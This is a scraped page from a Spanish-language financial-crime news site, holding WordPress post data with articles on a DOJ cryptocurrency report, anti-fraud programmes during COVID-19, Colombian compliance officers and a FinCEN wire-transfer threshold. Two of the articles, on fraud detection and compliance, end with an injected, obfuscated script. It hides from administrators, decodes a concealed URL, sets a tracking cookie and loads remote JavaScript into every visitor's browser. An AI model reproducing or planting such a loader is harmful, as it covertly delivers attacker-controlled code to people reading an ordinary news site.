importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>La conferencia cubri\u00f3 temas de todo el amplio arco de los delitos financieros y cumplimiento tanto en el sector p\u00fablico como en el privado, incluidos puntos regulatorios clave, tendencias de aplicaci\u00f3n, criptograf\u00eda, marihuana, an\u00e1lisis de datos, trata de personas. La cumbre incluy\u00f3 un d\u00eda completo dedicado a las habilidades laborales y t\u00e1cticas para irrumpir en el campo y progresar profesionalmente.<\/p>\n\n\n\n<p>El jueves, el \u00faltimo d\u00eda de la conferencia, oficiales de cumplimiento, investigadores y funcionarios del gobierno abordaron el tema de c\u00f3mo ingresar, sobrevivir y prosperar en el campo del cumplimiento y qu\u00e9 habilidades ayudar\u00edan a los profesionales a ser buscados por las instituciones y reclutadores profesionales,  ahora y en el futuro.<\/p>\n\n\n\n<p>Los oradores ofrecieron informaci\u00f3n y consejos sobre una serie de caminos para tener \u00e9xito en el campo de delitos financieros, ALD\/CFT y \u00e1reas relacionadas, incluyendo:<\/p>\n\n\n\n<p><strong>Acertijos convergentes<\/strong><\/p>\n\n\n\n<p>Si bien algunos bancos se preocupan por luchar contra el fraude , el primer error es no ver el fraude y las estructuras ALD\/CFTcomo hilos entrelazados de la misma tela criminal.<\/p>\n\n\n\n<p>Los equipos de cumplimiento deben saber comunicarse, coordinar y ser un verdadero aliado de las agencias de aplicaci\u00f3n de ley. Los bancos est\u00e1n rompiendo los silos entre los departamentos de delitos financieros, por lo que un conjunto diverso y variado de habilidades no es solo una ventaja, sino que podr\u00eda ayudar a preparar su carrera para el futuro.<\/p>\n\n\n\n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el 